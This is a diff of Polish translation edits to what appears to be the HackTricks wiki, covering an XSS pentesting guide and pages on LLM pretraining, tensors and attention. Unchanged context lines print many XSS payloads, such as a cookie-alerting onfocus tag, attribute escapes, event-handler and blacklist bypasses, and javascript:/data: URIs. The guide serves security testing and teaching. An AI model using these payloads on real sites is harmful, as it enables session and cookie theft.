||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej działań.
|
||||
|
||||
Dlatego, aby **nadużyć tej luki w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
|
||||
Dlatego, aby **nadużyć tej podatności w innym DOM**, opracowano **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -138,7 +138,7 @@ Istnieje **kod JS**, który **niebezpiecznie** używa **danych kontrolowanych pr
|
|||
|
||||
### **Uniwersalne XSS**
|
||||
|
||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
|
||||
Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta w aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\
|
||||
Niektóre **przykłady**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,7 +155,7 @@ Niektóre **przykłady**:
|
|||
|
||||
## Wstrzykiwanie wewnątrz surowego HTML
|
||||
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
||||
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy też jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
|
||||
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\***** ****`-->`**** ****lub \*\*\*\*****`--!>`**_
|
||||
|
||||
|
@ -166,15 +166,15 @@ W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ł
|
|||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **próbować, które tagi** możesz stworzyć.\
|
||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **próbować atrybutów/wydarzeń** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
|
||||
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **próbować atrybutów/wydarzeń** wewnątrz znalezionych prawidłowych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
|
||||
|
||||
### Próba tagów/wydarzeń
|
||||
### Bruteforce tagów/wydarzeń
|
||||
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **próbować wszystkich wydarzeń** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały wykryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **próbować wszystkich wydarzeń** używając prawidłowych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
|
||||
|
||||
### Niestandardowe tagi
|
||||
|
||||
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
|
||||
Jeśli nie znalazłeś żadnego prawidłowego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -230,7 +230,7 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### Obchodzenie długości (małe XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Więcej małych XSS dla różnych środowisk** payload [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**tutaj**](https://tinyxss.terjanq.me).
|
||||
|
@ -243,7 +243,7 @@ onerror=alert`1`
|
|||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Aby sprawdzić, w które znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
Aby sprawdzić, w jakie znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
|
@ -251,14 +251,14 @@ Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub fo
|
|||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kodu JS**.
|
||||
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod** JS.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wspomnianych w [poprzedniej sekcji](./#injecting-inside-raw-html) do wykonania kodu JS.\
|
||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest bezpośrednio odzwierciedlany wewnątrz tagu_):
|
||||
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając ładunku jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
|
|||
```
|
||||
### W obrębie atrybutu
|
||||
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** odzwierciedla twoją wartość **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** odzwierciedla twoją wartość **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
|
||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
||||
|
||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniżej będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Wróć </a>`
|
||||
|
||||
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
||||
```javascript
|
||||
|
@ -303,7 +303,7 @@ Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Ominięcie wewnętrznego zdarzenia za pomocą kodowania Unicode**
|
||||
**Ominiwanie zdarzenia wewnętrznego za pomocą kodowania Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -331,7 +331,7 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
|||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
|
||||
```
|
||||
**Miejsca, w których możesz wstrzyknąć te protokoły**
|
||||
**Miejsca, w których można wstrzykiwać te protokoły**
|
||||
|
||||
**Ogólnie** protokół `javascript:` może być **używany w każdym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img`)
|
||||
```markup
|
||||
|
@ -355,7 +355,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Inne sztuczki obfuskacji**
|
||||
|
||||
_**W tym przypadku technika kodowania HTML i kodowania Unicode z poprzedniej sekcji jest również ważna, ponieważ jesteś wewnątrz atrybutu.**_
|
||||
_**W tym przypadku trik z kodowaniem HTML i kodowaniem Unicode z poprzedniej sekcji jest również ważny, ponieważ jesteś wewnątrz atrybutu.**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
@ -391,10 +391,10 @@ Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zaw
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### O obejściu obsługi zdarzeń
|
||||
### omijanie obsługi zdarzeń
|
||||
|
||||
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
|
||||
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
|
||||
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" event handlers**.\
|
||||
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsługiwaczy zdarzeń, możesz spróbować następujących obejść:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -424,7 +424,7 @@ A w **meta tagach**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -432,7 +432,7 @@ Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Moż
|
|||
|
||||
### Ominięcia czarnej listy
|
||||
|
||||
Kilka sztuczek z używaniem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć **aby dowiedzieć się, gdzie możesz użyć:**
|
||||
Kilka sztuczek z użyciem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć **aby dowiedzieć się, gdzie możesz użyć:**
|
||||
|
||||
* **Kodowanie HTML (tagi HTML)**
|
||||
* **Kodowanie Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
||||
|
@ -490,7 +490,7 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znaj
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
|
||||
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
|
||||
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
|
||||
|
||||
To można **nadużyć** używając:
|
||||
|
@ -555,7 +555,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Komentarze JavaScript (z** [**triku Komentarze JavaScript**](./#javascript-comments) **)**
|
||||
**Komentarze JavaScript (z** [**Komentarze JavaScript**](./#javascript-comments) **sztuczki)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -736,7 +736,7 @@ top[8680439..toString(30)](1)
|
|||
## **Luki w DOM**
|
||||
|
||||
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
|
||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało przeniesione na tę stronę**](dom-xss.md)**:**
|
||||
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -771,7 +771,7 @@ Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego c
|
|||
|
||||
### Normalizowany Unicode
|
||||
|
||||
Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Obejście flagi PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
|
@ -824,12 +824,12 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
|
||||
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie ładunku XSS w treści.\
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w treści.\
|
||||
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
|
||||
|
||||
### Tylko litery, cyfry i kropki
|
||||
|
||||
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak nadużyć tego zachowania.
|
||||
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
|
||||
|
||||
### Ważne typy zawartości `<script>` do XSS
|
||||
|
||||
|
@ -1334,7 +1334,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS w Markdown
|
||||
|
||||
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
|
||||
Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1446,7 +1446,7 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
## Pretraining
|
||||
|
||||
Pretraining to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na wyspecjalizowanych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych zastosowaniach.
|
||||
Pretraining to podstawowa faza w rozwijaniu dużego modelu językowego (LLM), w której model jest narażony na ogromne i różnorodne ilości danych tekstowych. W tym etapie **LLM uczy się fundamentalnych struktur, wzorców i niuansów języka**, w tym gramatyki, słownictwa, składni i relacji kontekstowych. Przetwarzając te obszerne dane, model nabywa szerokie zrozumienie języka i ogólnej wiedzy o świecie. Ta kompleksowa baza umożliwia LLM generowanie spójnego i kontekstowo odpowiedniego tekstu. Następnie ten wstępnie wytrenowany model może przejść do fine-tuningu, gdzie jest dalej trenowany na specjalistycznych zbiorach danych, aby dostosować swoje możliwości do konkretnych zadań lub dziedzin, poprawiając swoją wydajność i trafność w docelowych zastosowaniach.
|
||||
|
||||
## Główne komponenty LLM
|
||||
|
||||
|
@ -28,29 +28,29 @@ GPT_CONFIG_124M = {
|
|||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors in PyTorch
|
||||
## Tensors w PyTorch
|
||||
|
||||
W PyTorch, **tensor** to podstawowa struktura danych, która służy jako wielowymiarowa tablica, uogólniając pojęcia takie jak skalar, wektor i macierz do potencjalnie wyższych wymiarów. Tensory są głównym sposobem reprezentacji i manipulacji danymi w PyTorch, szczególnie w kontekście uczenia głębokiego i sieci neuronowych.
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
### Matematyczna koncepcja tensorów
|
||||
|
||||
* **Skalary**: Tensory rangi 0, reprezentujące pojedynczą liczbę (zero-wymiarowe). Jak: 5
|
||||
* **Wektory**: Tensory rangi 1, reprezentujące jednowymiarową tablicę liczb. Jak: \[5,1]
|
||||
* **Macierze**: Tensory rangi 2, reprezentujące dwuwymiarowe tablice z wierszami i kolumnami. Jak: \[\[1,3], \[5,2]]
|
||||
* **Skalary**: Tensory rangi 0, reprezentujące pojedynczą liczbę (zero-wymiarowe). Na przykład: 5
|
||||
* **Wektory**: Tensory rangi 1, reprezentujące jednowymiarową tablicę liczb. Na przykład: \[5,1]
|
||||
* **Macierze**: Tensory rangi 2, reprezentujące dwuwymiarowe tablice z wierszami i kolumnami. Na przykład: \[\[1,3], \[5,2]]
|
||||
* **Tensory wyższej rangi**: Tensory rangi 3 lub wyższej, reprezentujące dane w wyższych wymiarach (np. tensory 3D dla obrazów kolorowych).
|
||||
|
||||
### Tensors as Data Containers
|
||||
### Tensory jako kontenery danych
|
||||
|
||||
Z perspektywy obliczeniowej, tensory działają jako pojemniki dla wielowymiarowych danych, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tensory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
|
||||
Z perspektywy obliczeniowej, tensory działają jako kontenery dla wielowymiarowych danych, gdzie każdy wymiar może reprezentować różne cechy lub aspekty danych. To sprawia, że tensory są bardzo odpowiednie do obsługi złożonych zbiorów danych w zadaniach uczenia maszynowego.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
### Tensory PyTorch vs. tablice NumPy
|
||||
|
||||
Chociaż tensory PyTorch są podobne do tablic NumPy w ich zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
|
||||
Chociaż tensory PyTorch są podobne do tablic NumPy w swojej zdolności do przechowywania i manipulacji danymi numerycznymi, oferują dodatkowe funkcjonalności kluczowe dla uczenia głębokiego:
|
||||
|
||||
* **Automatyczna różniczkowanie**: Tensory PyTorch wspierają automatyczne obliczanie gradientów (autograd), co upraszcza proces obliczania pochodnych wymaganych do trenowania sieci neuronowych.
|
||||
* **Przyspieszenie GPU**: Tensory w PyTorch mogą być przenoszone i obliczane na GPU, co znacznie przyspiesza obliczenia na dużą skalę.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
### Tworzenie tensorów w PyTorch
|
||||
|
||||
Możesz tworzyć tensory za pomocą funkcji `torch.tensor`:
|
||||
```python
|
||||
|
@ -132,7 +132,7 @@ At the heart of automatic differentiation is the **chain rule** from calculus. T
|
|||
|
||||
Mathematically, if `y=f(u)` and `u=g(x)`, then the derivative of `y` with respect to `x` is:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Computational Graph**
|
||||
|
||||
|
@ -142,7 +142,7 @@ In AD, computations are represented as nodes in a **computational graph**, where
|
|||
|
||||
Let's consider a simple function:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Where:
|
||||
|
||||
|
|
|
@ -11,7 +11,7 @@ Do tego celu używa się wielu warstw, więc wiele parametrów do uczenia będzi
|
|||
|
||||
### Zrozumienie Mechanizmów Uwagowych
|
||||
|
||||
W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałym rozmiarze. Jednak to podejście ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałym rozmiarze może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
|
||||
W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałym rozmiarze. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałym rozmiarze może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
|
||||
|
||||
#### Przykład: Tłumaczenie Maszynowe
|
||||
|
||||
|
@ -51,7 +51,7 @@ Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", ob
|
|||
|
||||
**Wynik Uwagowy między "shiny" a "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Wynik Uwagowy między "sun" a "shiny"**
|
||||
|
||||
|
@ -62,7 +62,7 @@ Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", ob
|
|||
{% hint style="success" %}
|
||||
Nie gub się w terminach matematycznych, cel tej funkcji jest prosty, znormalizować wszystkie wagi, aby **suma wyniosła 1**.
|
||||
|
||||
Ponadto, funkcja **softmax** jest używana, ponieważ podkreśla różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości.
|
||||
Ponadto, funkcja **softmax** jest używana, ponieważ akcentuje różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości.
|
||||
{% endhint %}
|
||||
|
||||
Zastosuj funkcję **softmax** do wyników uwagi, aby przekształcić je w wagi uwagowe, które sumują się do 1.
|
||||
|
